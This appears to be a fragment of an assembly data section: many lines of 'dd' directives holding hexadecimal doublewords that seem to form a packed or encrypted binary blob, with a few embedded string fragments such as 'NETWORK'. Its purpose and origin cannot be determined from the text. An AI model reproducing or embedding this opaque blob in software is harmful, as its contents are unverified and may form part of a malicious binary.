dd 0D0711418h, 0D43756B5h, 0B70C37F3h, 586F177Ah, 724625E9h
dd 0EF177034h, 55FCFB5Ch, 0E45AA10Ch, 0E2821034h, 0BE10A875h
dd 72546F1Ch, 29109328h, 44589974h, 6B51E7h, 4F874828h
dd 241B8B76h, 729F1C4h, 0E3748412h, 0B7116FC0h, 19A792CDh
dd 0A9EE908Bh, 0F27018CEh, 5C8B6927h, 0F138220Fh, 10B4E659h
dd 3C67BED6h, 279A08EAh, 0C58C13C4h, 21ADFC9Dh, 4F2442A8h
dd 0AA7A7327h, 0C4CC950h, 0C56511C8h, 6918B264h, 93C10960h
dd 297DC745h, 999B5FE6h, 0A91EAFE4h, 4E4CC6EAh, 0E9F24E11h
dd 1788B14Fh, 3450895Eh, 665162B7h, 9018DA28h, 18342CC5h
dd 6C550FEEh, 0C34668Eh, 0CDA7E9D4h, 0A067D1F3h, 0A2B88509h
dd 49660889h, 751094C4h, 73529F50h, 0FB10AD36h, 190D61F9h
dd 0E385E2A5h, 0E250A564h, 78F21A44h, 49A911D0h, 1708457Dh
dd 89708530h, 9A886C3Eh, 2F2CCB18h, 57084D11h, 16699A9Bh
dd 0F4460C0Bh, 0C46C10CBh, 9411D166h, 0B0116E34h, 10A26988h
dd 10C9E84Ch, 411A9364h, 873AE010h, 5311BDBEh, 0EA4166DFh
dd 7E19AC64h, 8C68116Ch, 6D17029Eh, 0AA199066h, 880812A8h
dd 14219A07h, 16344FA4h, 0DBCD0814h, 1234810h, 2E68430Ah
dd 4E60240Ch, 3E28A95Dh, 1038844Ah, 9E68DB08h, 141421CFh
dd 98D05868h, 952F7541h, 0A150FEDCh, 0F419D3CCh, 9F666D8h
dd 6C702752h, 204108A3h, 8CE46CFFh, 5B7A9847h, 6B3BA361h
dd 0AD634B31h, 0C10D934h, 868CA14h, 25F4624Bh, 0CC646508h
dd 27EE8184h, 0A4658D1Ch, 9ECF3962h, 1C72754Ah, 786055BCh
dd 0A90C450Eh, 3234183Eh, 0D9596425h, 8456826h, 0A51010EFh
dd 6E591443h, 0AA08A37Eh, 0D0B9CE6Bh, 0D66F9818h, 4E50119Bh
dd 6C2A671Fh, 0A8BE1475h, 0DEA07215h, 0E5826ED6h, 0A8088979h
dd 4F260822h, 85D68B4h, 263C98A9h, 106D126Bh, 5654CCA8h
dd 487CC473h, 10D9CD49h, 4C3B2C67h, 410CD0FBh, 463012C0h
dd 88AC0664h, 2899E2F9h, 24292F64h, 0DE5118AFh, 0FABE2021h
dd 93082CD0h, 792AF0F9h, 2B625D14h, 610B926Fh, 6F09FA0Fh
dd 0C82DCC6h, 10DA975Ah, 0ED854399h, 80542856h, 0F8119AEFh
dd 284DFBE6h, 59720E99h, 4D0C4D6Fh, 54D97B30h, 75721084h
dd 4E8C8A62h, 8E91C5Eh, 0D952A8A4h, 0B4C02B56h, 3D50FE18h
dd 99E54B08h, 5F2A4019h, 0AC0CA913h, 87314DCh, 0CB586889h
dd 450C6B56h, 0E627551Ch
dd 0AA1969A0h, 5AE968CFh, 1456F374h, 0EE5C838Fh, 0F410834Fh
dd 0B865DCD9h, 196DD367h, 68513242h, 2D099211h, 23AF7948h
dd 8E0825F4h, 2685A508h, 1E081779h, 7708A841h, 11D3D864h
dd 78A47963h, 496732F1h, 0BCFD964Ch, 404DF579h, 72E9C549h
dd 0D70C92F6h, 6E559AE6h, 7D4350Ch, 4F185A81h, 767BBDB3h
dd 8240CABh, 782E6F4Ch, 637411B1h, 205ED9FEh, 22ABBC14h
dd 6D419614h, 7A836910h, 0DBF411DDh, 7ADE101Dh, 0BF776F08h
dd 11F826DAh, 28A973EEh, 9E8C6862h, 85A86F1Bh, 0A877084Bh
dd 1520F6B8h, 6B7618CBh, 0B011560Dh, 0ECD01069h, 6854E89Ah
dd 74B4630Ch, 3A5F6944h, 4C827AAEh, 7C987611h, 80F8682h
dd 504F3055h, 732AC424h, 0EFA7A330h, 85E6BA5h, 47656C48h
dd 6F4C1B70h, 0D1430C8Bh, 2A1C4C0Ch, 3AD62065h, 8507FC4h
dd 45F3D118h, 4961E118h, 73143410h, 96D11CDh, 0B874E820h
dd 0A1CC96D2h, 3808220Ch, 6B436D65h, 6929135Eh, 98EBFC10h
dd 0A28A68C6h, 50000812h, 6E45276Ch, 314862B5h, 0A99465E0h
dd 365A0864h, 189A10C8h, 71524390h, 4DFB7C1Ch, 9E257814h
dd 87880D27h, 94DF11A0h, 0B211B44Fh, 0A51069FAh, 201674DCh
dd 0B224D45Ah, 95BC7608h, 64230873h, 6D936024h, 18AD8CCDh
dd 10269C9Bh, 106C7466h, 5C756862h, 4B183348h, 1C6A77D3h
dd 186D98DCh, 1092363Ah, 10720ECAh, 7EAA45ACh, 73A260F1h
dd 115BDBABh, 836D76BCh, 0A1363A10h, 6235EF11h, 0C1F10805h
dd 20241014h, 1CC9E294h, 945910A7h, 0BC8110B5h, 98766279h
dd 2C7BBD7Ch, 0C3A81034h, 0B66B0890h, 4714C288h, 4A301A6Dh
dd 868322D5h, 6E682330h, 2EF41B25h, 6F796210h, 89BF1217h
dd 0D658E2ECh, 49087453h, 6B6225F1h, 8CF6E597h, 2D8F1068h
dd 904000Dh, 2D2AA50Ch, 0C141CFAh, 0D711E926h, 0F2989994h
dd 0AC713462h, 73E9184Dh, 11E7DCBFh, 78A61D70h, 0FA20B6F0h
dd 35889173h, 59F11611h, 3B6D10C1h, 45188A10h, 87EA1B8h
dd 61F1DE22h, 0F58019A7h, 2AEC5975h, 8611BF36h, 12978238h
dd 139F2B48h, 1F104E91h, 0F020E811h, 0A400916Bh, 3068951Ch
dd 2668844Ah, 0F6A310B0h, 8105A95h, 635A1442h, 34B811D6h
dd 0FD7611DAh, 0ABAFA023h, 7341413Fh, 83140C54h, 1B109A56h
dd 36114A93h, 0BE821165h, 0C20E173h, 8B951C86h, 26BC3316h
dd 0B5266219h, 186F5B76h, 15A1E1D5h, 0C51FA180h, 0BE21496Ch
dd 8A6ED819h, 832CDB4Ah, 8AA793Ah, 1151FD4Bh, 8978074Bh
dd 27988128h, 185EE01Bh, 3F089F11h, 3473A368h, 161C7456h
dd 7C99A30Ch, 3F9177EEh, 0AFB51135h, 0FAF2200Dh, 0A7C1DF60h
dd 10D216C6h, 37212A96h, 9F097961h, 80B2F5Ah, 0E6251356h
dd 0D418DE14h, 18A6C56Ah, 8510897h, 67131CA3h, 9508B910h
dd 0A00845CAh, 0B4820897h, 1068801Bh, 4909C4DDh, 0C5483379h
dd 0C8CA9617h, 1B7F186Bh, 9A1061DAh, 33797665h, 93196B85h
dd 3BA8C428h, 109BB658h, 0E109CDFCh, 42496567h, 38AA691Ch
dd 0DF6B9FA5h, 0F10CEA77h, 1156122Ah, 48160CA6h, 0DE34A879h
dd 4574750Dh, 4FAFC43Fh, 86B2720Ch, 0C89EA23h, 2092C670h
dd 92BDC4DFh, 290C8A1Fh, 0D24FE4B1h, 1226C419h, 191726ACh
dd 1F6F64B4h, 0D809EDFBh, 0B3CB2017h, 48A5C5FCh, 0B4086CA0h
dd 72104CECh, 10B27499h, 0DE584670h, 44557C10h, 0EB0F103Bh
dd 822A119Bh, 74531079h, 6D115F18h, 0A16D3B18h, 8DE62573h
dd 0BAAD11DDh, 0E8E1D674h, 28342108h, 9D188450h, 0A9C4C41Bh
dd 15A4729Bh, 78D96AF9h, 0DCB3DDE2h, 202C8DC5h, 626B7260h
dd 83035019h, 75102D25h, 10CA6344h, 0A9C98473h, 82015838h
dd 64006908h, 189BA538h, 0BA00D5DDh, 930CF310h, 10A63D89h
dd 0A6681648h, 1F186F2Ch, 0BC8721Ah, 732DC108h, 366A284Dh
dd 694E105Dh, 108A6A89h, 4A187466h, 4F2468E7h, 17EA1217h
dd 0D958F887h, 9A357918h, 4CCD0814h, 6B77108Ah, 0C624B10h
dd 6F309008h, 93DBC933h, 6947411h, 6EC91437h, 820C8664h
dd 678F0708h, 0D0C914DAh, 76088AE8h, 5C761403h, 86C427DFh
dd 158857F1h, 20301565h, 859F22DEh, 785673F6h, 11AEF58Dh
dd 10052FABh, 1450646Ah, 53D630ECh, 0A869DD55h, 17E9E019h
dd 0F181E68Bh, 683EE432h, 680CECE8h, 98CCD94h, 47088410h
dd 0B4516F75h, 8105109Ah, 9F65BD74h, 7F894D3Bh, 65A808AAh
dd 9E91A008h, 0D295CFCCh, 5ABA275Fh, 0B2FDA80Ch, 187355AFh
dd 5E79A965h, 994A0C46h, 0ED18A060h, 6FC23B83h, 1082DCD0h
dd 347967A5h, 7087A908h, 8840CA6h, 6C6B8495h, 18B41C99h
dd 0A7229996h, 4039EB19h, 0E3670838h, 42611048h, 98F65F73h
dd 2812106Bh, 0C21057Eh, 53BD14A1h, 0DB584808h, 0BACDBC10h
dd 5E2011B5h, 86F02FF7h, 4CBC8CBCh, 41748D68h, 26BDEAE2h
dd 94616D10h, 0CD976F45h, 8810A00Fh, 7CC676D2h, 341AB310h
dd 0D9F3A911h, 636C6D19h, 2ED4109Ah, 64107914h, 0D8AD6F66h
dd 0AC122D9Fh, 184A0D13h, 0D098BC13h, 73753446h, 8D0813A5h
dd 6810A1ECh, 0C7871035h, 74412D12h, 1A934F29h, 8120EDDh
dd 184D8551h, 0D789EA44h, 0A10C10B4h, 640807F0h, 9140FD64h
dd 3108450Ch, 0CE22B549h, 0C5EAD84h, 61171429h, 2DD210C7h
dd 73C46944h, 536E1048h, 6B2A087Ah, 1C2D4BEBh, 10D2BD9Dh
dd 0DF54ED5Eh, 74940F2Dh, 7965C408h, 707A7222h, 73BA088Bh
dd 0AABA10A9h, 78080C09h, 9DF8AD58h, 0A8461C8Bh, 0A7C54BB0h
dd 2F75310Bh, 819FAB4h, 0E9BE2CB3h, 0DD595A48h, 0DDE87410h
dd 0CF19A01Ch, 15366C5Bh, 0AC288619h, 9510DD61h, 0D741106Fh
dd 522F5409h, 1B8C7414h, 6E43840Ch, 0FF9E7A0Ch, 7D4D0CC8h
dd 0B18752E3h, 7A6A1061h, 8418546Fh, 619992BCh, 4ABE555Ch
dd 9C7800A6h, 8279444h, 6E2A0849h, 0CCDFFF08h, 8A2C6735h
dd 0A2FBBCD5h, 9C188A08h, 0AFB30835h, 21C92168h, 0C556BFECh
dd 1A621067h, 48F82D32h, 54BC5091h, 0B3BD70F7h, 67AFE57Dh
dd 74B48F9Fh, 342F109Bh, 0E410336Eh, 84289FCh, 736F6408h
dd 4A641BC9h, 0E1EACD10h, 8D66C670h, 1062D2F1h, 10D69E64h
dd 0D19CD0C7h, 35CC936Ch, 0AE209510h, 0C13AD64h, 66D5295Fh
dd 5D0A590Ch, 41369FACh, 73684032h, 666481C9h, 6E10CA2Ch
dd 6797CF94h, 0EA478D2Ch, 0FA620887h, 114C4D70h, 3877441Ah
dd 7510DE19h, 0A6689D5Eh, 10CC3418h, 6639E366h, 0D2276F78h
dd 4878CF75h, 5C9BC972h, 2764F1C4h, 75196297h, 74089067h
dd 73238C79h, 66720869h, 0E16565E4h, 0EE4C058Eh, 872A44Ah
dd 0D68EE3A7h, 0E27BED11h, 72106991h, 6911CFD8h, 51731EDEh
dd 42426B6Eh, 328CD19Ah, 37FB6C18h, 496619B2h, 9AFE7AC1h
dd 50968D0Ch, 0F1651196h, 0A750596Bh, 0BAC1A18h, 0BCAA51B4h
dd 7427584Ch, 7E10F0ADh, 8C622D0Ah, 262E5AEDh, 889F1157h
dd 0FBA1101Ch, 0E0DC10B7h, 10268B7Ah, 5853FC70h, 22DE2C19h
dd 71C42763h, 0C53A575h, 0F511B136h, 522D8E8Bh, 1029BEB2h
dd 648CC250h, 3B639381h, 0D0187866h, 819014FAh, 82C6D44Bh
dd 5FD05236h, 0AF68DBBDh, 40C44216h, 0D8F8614Ch, 7E2CA474h
dd 0E6EEF547h, 0D318DD47h, 0A7D88977h, 0D7E54610h, 6C8EA010h
dd 67087550h, 84945897h, 41A0F930h, 63722FA1h, 9C6522CBh
dd 27EF7021h, 413B8B80h, 7357114Dh, 2F4149C9h, 0EA21BB07h
dd 57389279h, 4C980Bh
dd 56F512D6h, 7943388Fh, 0E3448956h, 789B79E7h, 8D4385C4h
dd 0DA10BAC0h, 10B73C89h, 2D9ACA90h, 882B9C4h, 809586Ah
dd 10D48B44h, 4E11DBC9h, 39D6361Ah, 0A509EE82h, 4EBD68D0h
dd 7310C9F8h, 4C53B854h, 0D07CCC18h, 0A8480874h, 49B1EDD7h
dd 640840C9h, 293E38F7h, 631E1461h, 95112CB6h, 889C6DF8h
dd 606C18CDh, 44D110DAh, 0F99208A0h, 0B2F40882h, 0FFF7114Dh
dd 0A52C20AAh, 6230D43Dh, 161E32D7h, 0F0E35E3Bh, 3D081069h
dd 0D72CB440h, 9511AD55h, 5C186B7Ch, 8792A24h, 1237F99Ch
dd 7264A489h, 1864D8A6h, 99AEFC63h, 0FAAC6110h, 0B56C1618h
dd 0C562F2C8h, 822255Ch, 4EA126D7h, 0D6185C16h, 0C22E5A09h
dd 0CA140F4h, 32BF12A5h, 8557D80Ch, 0A718A30Ch, 18D0F366h
dd 422558EEh, 0AFBD7A08h, 0C7A8A8Dh, 0E882D120h, 6A770812h
dd 0A8342DD3h, 0FEE23C09h, 0AF0C6869h, 8EC59972h, 0C27796Bh
dd 284908DAh, 0E92D0816h, 842739Fh, 2B60AB70h, 7CFC635Ah
dd 8ADAA611h, 0A0CF5954h, 0D60B9708h, 5FBEB459h, 27509052h
dd 4492D10Ch, 10A66508h, 0CC129CA2h, 9C96147Ah, 557019CCh
dd 0A8882465h, 0BA4F6974h, 15C9D636h, 83415865h, 878116Eh
dd 8808E368h, 4D6F6E69h, 7CEAE479h, 1310E87Ch, 0A154C574h
dd 70198FABh, 41E0D475h, 63129508h, 250C416Fh, 0A105311Fh
dd 631D0C0Ch, 0DA58E62Dh, 0ECFEF619h, 0A5A019CDh, 8F93BD38h
dd 0A36D1129h, 0C84F622h, 19DED7AEh, 136F9C6Eh, 26700BA3h
dd 0CDB87942h, 2656A610h, 0B661104Ch, 12164F05h, 6414F2B5h
dd 4FAD7210h, 6B3C0CD0h, 640808D2h, 65C2797Ah, 3474126Eh
dd 98930822h, 644B1037h, 0BF10D20Ch, 70893937h, 6B6BF437h
dd 28F71169h, 0C322109Eh, 5558088Ah, 418B0884h, 736A4AC5h
dd 0B9C66B08h, 55C718D7h, 23AC084Ah, 908D5B9h, 0E5106F54h
dd 0E3A19220h, 0E3F12005h, 0A20814A1h, 0FFC8D010h, 17DF1158h
dd 0A08876Fh, 236D9C08h, 114DD32Eh, 3F10DCA1h, 386C6AA5h
dd 0E30A18D3h, 0E6AD0872h, 7510CB6Ch, 66A2BE63h, 0D90A1C92h
dd 0AB08A2E6h, 8D114FC8h, 5211BB52h, 689E78AEh, 185D10CDh
dd 6B85A5E2h, 9674081Eh, 60371D84h, 0BEA8CDAh, 0A8A66213h
dd 1C090C41h, 6EC7AF14h, 0A7690CEAh, 0CFA638Eh, 8BC886Bh
dd 29A49CA3h, 97E422Dh, 33E04A08h, 6C25DD14h, 42E2B0CDh
dd 344551CDh, 3DD11010h, 0E7B6116Dh, 13C864E5h, 6E8AC80Ch
dd 49630CA1h, 99263A28h, 6D6DBC11h, 89512F10h, 6D0E6408h
dd 1967D9B3h, 49081A67h, 2952705Ch, 0A1F4760Ch, 0BDDD2CF0h
dd 0A808AA70h, 721A08BEh, 6FC80509h, 95CD1C52h, 228810B6h
dd 4C3E8C93h, 0AF6E27A9h, 3DA61708h, 9410B478h, 825E997Ah
dd 209361CDh, 0ACA5AC4Ah, 5390C19h, 690CDE68h, 181B64C2h
dd 0CE2DB025h, 67108966h, 106F5872h, 6312E0F6h, 442D7416h
dd 20AF7CCDh, 884F37Ah, 828938Ah, 0A1E524ADh, 4703AC1Ch
dd 0B20CDA63h, 62512D3Eh, 921C7494h, 81314A1h, 0B65F6F61h
dd 0BD920CD4h, 6818D9B8h, 1060266Bh, 56049BB7h, 0BE789011h
dd 27106DA4h, 9E845A58h, 46630832h, 0AC79FE10h, 5010D6C0h
dd 752C08A7h, 0A514C8B0h, 0E35E7042h, 133F196Dh, 41FCD3Dh
dd 0ACA7520Ch, 350C45B3h, 89AC6FAh, 0E088DA09h, 4A686514h
dd 3E0C770Dh, 2C1479A9h, 0CF504AF9h, 96B5590h, 99503D08h
dd 747B6219h, 5C0C5ABCh, 25B50808h, 0C228AFBh, 7C7A633Dh
dd 0A26A18E1h, 52082D84h, 42349AE2h, 6C9031B4h, 0D24ECC66h
dd 89277B0h, 9C42D5CBh, 6A651514h, 586B294Ch, 0A1927910h
dd 67E00CC4h, 0D2C04495h, 7A18EC11h, 791411DFh, 51409458h
dd 0C708146Fh, 10469B5Ch, 697A411Eh, 79F06CE8h, 106CD4BEh
dd 9F06B76Bh, 35FF1164h, 2D34BCD0h, 2D3B1278h, 5A6B1840h
dd 8BDC39BCh, 5B36DA3Ch, 12676519h, 890C3774h, 72C331B3h
dd 8A3027C5h, 9408A2DAh, 408A7CBh, 4819A40Ch, 1220219Fh
dd 0CBFCF164h, 0D362113Bh, 4E945B84h, 0CDA80825h, 53C6279Eh
dd 8CC211D3h, 2F20E272h, 8ED9D34h, 944D08C0h, 1894780Dh
dd 26DA086Fh, 5D46082Bh, 735C6DF0h, 5610DA34h, 0A21022CDh
dd 20DF733Eh, 3E724C0Ch, 74AD3E9Eh, 42FBABh, 4EFB0C1Ah
dd 18851934h, 189B75F9h, 5167E43Eh, 0F8D1FE08h, 6B651031h
dd 4618A9E2h, 0B110D6D4h, 0E840151Fh, 681EDE9Ch, 0D6FE86Eh
dd 6C042F64h, 9B6235C2h, 0C6F7C5FCh, 93F60C41h, 6D862A4Ch
dd 749BA24Ch, 62E15358h, 1A1F7E64h, 50632126h, 25080B43h
dd 937F7C73h, 6E39B6A4h, 3203023Fh, 5881334Bh, 1162C350h
dd 2454D08h, 4E033839h, 35112054h, 5D6450C7h, 4DE1A33Dh
dd 88E4FFDEh, 474014D1h, 39104003h, 300892E3h, 0FF4C24AAh
dd 5868D6D3h, 5518CC09h, 50539A4Eh, 0B6E53470h, 0E5C01041h
dd 44320853h, 0CD3108C8h, 0B1493009h, 2EB33E9h, 30E805C8h
dd 5B02FFF9h, 6630C931h, 73800EB9h, 2943FA0Eh, 0E618F9E2h
dd 0C432DB1h, 0C0330260h, 401F0364h, 8BDD7830h, 1C700670h
dd 80EC3ADh, 0A1F09EBh, 7CD98D34h, 0D0F83C0Ch, 0CA0BCE03h
dd 0D37848A7h, 0DAEB2041h, 331C59E8h, 0F638FF72h, 0C27E057h
dd 4F798110h, 0FAB120Ah, 33CC0264h, 744E0316h, 1783E5B1h
dd 4C0833Bh, 8598C39Bh, 0DB7474F6h, 0D71CFF74h, 0FA83F203h
dd 7C12E857h, 0C1F3B7D1h, 692D2007h, 3FAF5539h, 0C6A1C1Ch
dd 753317E8h, 5AC3013Ch, 104022ADh, 840F8807h, 0C3A6ED54h
dd 5D5B5801h, 54EC8350h, 0FC8B9F40h, 40483A8Dh, 0AAF3D780h
dd 57AB44B0h, 9C515238h, 198286Ah, 53550Ch, 0C483D6FFh
dd 0C3C08554h, 39EF64D3h, 2DA73B84h, 3E4FBC6Ah, 3FF64E2Dh
dd 0C6BC574Bh, 0ADE07997h, 0BF55B25Eh, 33B364Eh, 6914536Bh
dd 97C26368h, 0B978C01h, 0EA25E908h, 53D45640h, 641832A5h
dd 316D7760h, 15353332h, 1851644h, 340987C6h, 2D81DF4Ch
dd 0BB01053Ch, 0A7DAC84h, 0C89010Bh, 0EC1F4422h, 612D8097h
dd 0A0C634E2h, 4E534175h, 8FD09D2Eh, 40424D29h, 638ABD79h
dd 5E40D59Dh, 4F39B581h, 21203C40h, 0C28B7154h, 46B6221Fh
dd 91BD5B73h, 9BF42D2Dh, 0A170C023h, 184157B6h, 828D12D3h
dd 0C3A85FFEh, 0C0355A0Ah, 5CE83008h, 1CD11184h, 4053BE01h
dd 0B1C0189h, 0EB814F8Dh, 334A5A10h, 1C86665h, 0A340580h
dd 97FAE299h, 709E3862h, 7F98DFh, 699521C3h, 0F712E664h
dd 7685E9C8h, 91D93C34h, 0EA8741BDh, 0E36A9AA5h, 0B1EE1EFh
dd 629FB9E7h, 0AA8DD7C0h, 7DCECF74h, 19A660C8h, 0C097F36Bh
dd 0ED3F6A0Eh, 1AC6A091h, 30DC9D5Eh, 0C710707Bh, 0DFE45412h
dd 5A9ABD16h, 58037A1Dh, 0F6FF50AAh, 0DE85FC82h, 9B36FF1Ch
dd 12DFA81Eh, 6E83639Dh, 0D9975F1Ah, 0C0F0F349h, 0DCE56E71h
dd 0CB941A58h, 0CE66CF06h, 32D2C365h, 0F0269DF3h, 0F803C926h
dd 0CC9BFC98h, 5E2A692Ch, 99739E78h, 59AA2400h, 0F39DDE10h
dd 0CACE3389h, 36666D28h, 0C046610Dh, 751A650Dh, 6D1812DDh
dd 0C03442AAh, 17850E10h, 0DFA6627Bh, 0A54006A1h, 2A5E79D9h
dd 3CC98B5h, 0C989DE14h, 26ECACFh, 815ECF67h, 0FDF4FAA5h
dd 3AD027BBh, 0A3FEA37Dh, 35AC1C71h, 60ECC51Ch, 248118C8h
dd 0C008C34Bh, 3777B32h, 6762715Ah, 0FCDEE0EFh, 0EB07C9EDh
dd 0FDD8FAF6h, 0EA9CDE1Eh, 0CDA994Ch, 0A3ED79F8h, 0D81D3F12h
dd 0F0E1DC8Fh, 1DDF0DD4h
dd 0FDF8CED5h, 0BBFBDF9Fh, 32E06072h, 0C6ABEAEEh, 47EFAA73h
dd 3C59BEA7h, 2488B0F2h, 0CEF7F0FBh, 0EAADF5E8h, 0F8E1E37Ch
dd 0E9649EFAh, 4F80497Fh, 0A14A02B8h, 0B8F47F35h, 0AD6E4E69h
dd 34D9F6Ch, 84D21237h, 0CAFB2C14h, 891158C8h, 0E89ADF45h
dd 0BE2644D5h, 149EA499h, 54F2203Ah, 85A9CE75h, 209BE21h
dd 0BC8E4654h, 18684DB5h, 7728520Bh, 481C5A76h, 39BF2DD3h
dd 9CA33E3Fh, 389FA775h, 0C946E84Fh, 0D694FF54h, 88B0B08Ch
dd 290F86D9h, 4C8AB44Fh, 0E1AEA090h, 0D280B76Bh, 0C1B405F5h
dd 0EF1435E2h, 0D3658A99h, 7D9BA76Bh, 92342957h, 274310BBh
dd 0BE50DF7Bh, 2FD56F3Ch, 653BA23Fh, 0C9AE2968h, 43801BB4h
dd 7F14BABh, 0D078B37Fh, 0A3AFE420h, 4FEC4FFDh, 0EAB4EC4Fh
dd 0E930A85Ah, 3A42314Fh, 0D3380AFDh, 4F726BFBh, 9BD018E9h
dd 0D33443FEh, 93CF2FFBh, 0D4402BFEh, 544AED04h, 2C2A4C56h
dd 0BE63915Eh, 2869AB4Ah, 0F84F281Ah, 0FF5389C3h, 908CCC16h
dd 6275530Ah, 4F52102Dh, 294613A0h, 4974FD35h, 0AE12A040h
dd 0A8E33FFFh, 6F08D192h, 6FE23F66h, 0AA9A090h, 56AE96D3h
dd 0B06FEF67h, 6EB4184Ch, 0D16C91ACh, 23F94FB5h, 3002F14Fh
dd 17DB725Eh, 7394E742h, 2E15CCBFh, 96D21891h, 6540AD9Dh
dd 6DE07553h, 0D72C2371h, 4A5869EAh, 35AD7534h, 5E48D42Fh
dd 90C2588Dh, 10029242h, 700FF88Ch, 0A08AC01h, 7FFDF020h
dd 85FF130Ch, 3C65F265h, 0B6C8A518h, 13372A6Ah, 627007h
dd 20435002h, 5754454Eh, 4B524F1Bh, 4767A7B4h, 0C04D4173h
dd 0CF302E31h, 4E2F4C30h, 0B29065Ah, 6E676C75h, 249FF466h
dd 9CF6A59Fh, 331E7098h, 6131332Eh, 480E4D51h, 3D305832h
dd 0ED3E332Bh, 54E4162Eh, 0DB32DC20h, 28F51630h, 43867388h
dd 0FF0CB107h, 11040B85h, 0D41A380Ah, 88006CAh, 442E8110h
dd 464B0E19h, 3BA745AAh, 0A03E0DEFh, 527D4742h, 0F2900241h
dd 0DC021C68h, 0DF103CFFh, 83F0429Fh, 28494847h, 9E4B4Ah
dd 51504F4Eh, 55545352h, 58575600h, 62615A59h, 65640063h
dd 69686766h, 6C276B6Ah, 7158616Dh, 7570002Fh, 79787776h
dd 7D307A25h, 2F2B7D38h, 604CBEB4h, 0EC812866h, 0E6890A9Bh
dd 40DBEDE8h, 12096836h, 3063D63Eh, 468919F7h, 0A0A2F008h
dd 7047614h, 2BD06B68h, 4FE2D5CAh, 3F080C15h, 4397FAE2h
dd 1FCDEB24h, 1FDB311Bh, 0FF99F010h, 0C30F89D0h, 9D768B56h
dd 10B9C78Ah, 5EA4F300h, 0CC50C031h, 0FF065302h, 8B0C561Bh
dd 0C4D4209Eh, 5B5E5F1Fh, 0E860E083h, 8B710023h, 8D0C2444h
dd 83077C58h, 81053C43h, 10042847h, 1C631F93h, 40FFF00Eh
dd 8324048Bh, 506714C4h, 0D233C37Ch, 9932FB64h, 0C6932289h
dd 0B01B25B8h, 0DFFA029Dh, 5EAFF325h, 0BCEB1DC3h, 64107E87h
dd 6158F08Fh, 0BF4C60C3h, 1F8B8623h, 7893BC7h, 81F809F9h
dd 3EAF78C7h, 1939F960h, 9FE0474h, 3DF8EB3Dh, 0FB5A3CFAh
dd 527E057Bh, 11F8F6F8h, 0C6F84AFCh, 1FD4318h, 0A00CA16Eh
dd 0E61C4036h, 1E6ECF58h, 0C67A8E14h, 9A04460Eh, 243F6CFEh
dd 3C451F28h, 8C0554CCh, 7C4AFAEAh, 205A3C18h, 38E3EB07h
dd 0DF34B749h, 0FF31EE02h, 0ACFC9583h, 774E0E8h, 0DCFC11Fh
dd 0F4EBC7C0h, 0E2247C3Bh, 48E16E75h, 19663BD0h, 1C124B0Ch
dd 54BF1804h, 0DDA389E8h, 8C261D8h, 23FEF9E1h, 54C40AF8h
dd 0FC05D8F2h, 0F72646E8h, 0EF7C44BBh, 5F814FF2h, 0E8E2E08h
dd 84AC99C0h, 2CAB799h, 245420C2h, 0E3687504h, 30CF5B44h
dd 89FC209Dh, 0C3325C66h, 0B264505Ah, 2F857630h, 9CB80F78h
dd 0E9280868h, 34FE5F0Bh, 87C0528h, 5F3C6800h, 5660F631h
dd 240D79EBh, 3F72CEEFh, 8AFE9800h, 0E7FF570Eh, 0EEEE82Dh
dd 43F31F84h, 992B8B06h, 2C40501h, 3019CCA0h, 389A109h
dd 3704313h, 4306EB88h, 63887090h, 75DFB06Dh, 0F3EE72Fh
dd 0EF176F5Dh, 3F885C65h, 261ACA3Eh, 0E3DCAD14h, 6F053146h
dd 14D4273Eh, 4EC79697h, 0FE271287h, 0A510A17Eh, 2DED040Fh
dd 0F8E3CE8Eh, 71A81B4Fh, 0B0305CEh, 0D9321003h, 237F0948h
dd 45A16D0h, 496B82Dh, 0C060D8A0h, 546508Ch, 885D0004h
dd 0C91CEB8Ah, 0E8489F11h, 102B026Ah, 0CE026048h, 13054170h
dd 8B4E84Ch, 44D44FE5h, 6310432h, 3240A7D9h, 0FD5824h
dd 496445CCh, 0AEDD70B0h, 962C7401h, 0D5E60D2h, 0D0701C5Ch
dd 7C344C19h, 4C105010h, 0F196800Eh, 0CE4D2A20h, 6A58A611h
dd 6EAF03A1h, 580CF472h, 52152229h, 0D813442h, 41BAADF0h
dd 20F4A808h, 0E0D16087h, 454D0304h, 2B04574Fh, 0E2BCA229h
dd 0CC970338h, 28293019h, 5001184Ch, 0CECCD010h, 4414C803h
dd 0D8291890h, 1798A168h, 85948B07h, 8D8128C4h, 91652964h
dd 0ADB9200Ch, 10AB9574h, 473EA5B2h, 0F9A4C8A6h, 0AA231FADh
dd 582474E8h, 44095846h, 20894090h, 606E7812h, 0C8D80153h
dd 0B64F8150h, 0B8FF2088h, 46EF4203h, 4482460h, 0EE816664h
dd 0A45B0209h, 0C82C1029h, 19786108h, 22B44D0Ch, 0D870811Ch
dd 4FC89398h, 0A91103D2h, 0B257BE3Dh, 0E132212Eh, 80925823h
dd 10EE83Dh, 1443180Eh, 4608A10h, 0C051F86Ah, 0D23B211Fh
dd 8100E04Eh, 800317C5h, 714AE90Eh, 8AF10199h, 857A6F50h
dd 90E45A02h, 4630F2E8h, 186E5460h, 0DDA2BD8h, 15ADA624h
dd 3CA0C0Ch, 0E2245B08h, 0BDDB2858h, 4D2E8032h, 4E686448h
dd 0A41E120Eh, 80B8B0Eh, 4B20F902h, 55C3708h, 7CA5080Ah
dd 310D32E4h, 3A333649h, 0D35920Eh, 21B1836h, 0C164F8D9h
dd 5B63C16Fh, 98202978h, 88C52D90h, 2CC0A2Ah, 8C28E3F8h
dd 0B31878h, 4E47D4E8h, 8514205h, 464E40Ch, 1ACC6888h
dd 87FFDE0h, 90944C71h, 2A7EB01h, 0EF8316C6h, 853139Dh
dd 9498E60h, 84641B50h, 3A8258F8h, 0DEF94520h, 0B577E569h
dd 0AD9BF538h, 0FF7CA93Dh, 0D39D6696h, 3408ADADh, 0B854682Dh
dd 708710EEh, 9E652769h, 3A1CE157h, 42B9BC9h, 224B5BBCh
dd 3C0B2425h, 0C600F962h, 0A96138FDh, 95D9120Fh, 0F1BE222Eh
dd 55B96E04h, 7B3F0222h, 9AC74A60h, 0A3B4B29Eh, 8F660ACDh
dd 10197112h, 7518C21Bh, 0E2C5C09h, 0DB8F1CDh, 894BCF66h
dd 60D97F93h, 128D1605h, 0E667F141h, 9B579828h, 0E04B9D53h
dd 3289F355h, 812ACAC8h, 0D309335Ch, 4B72F1h, 1AA9FF10h
dd 0A514CD75h, 8CF3BD12h, 3C643CE0h, 89B9DD5Fh, 0A40A67B0h
dd 0D1F2C510h, 8CD509C8h, 0CD2B14C9h, 2C6C8ECh, 100898F3h
dd 1BA9EF66h, 0D7959DCFh, 910CA8B4h, 6C7859Dh, 12A1C895h
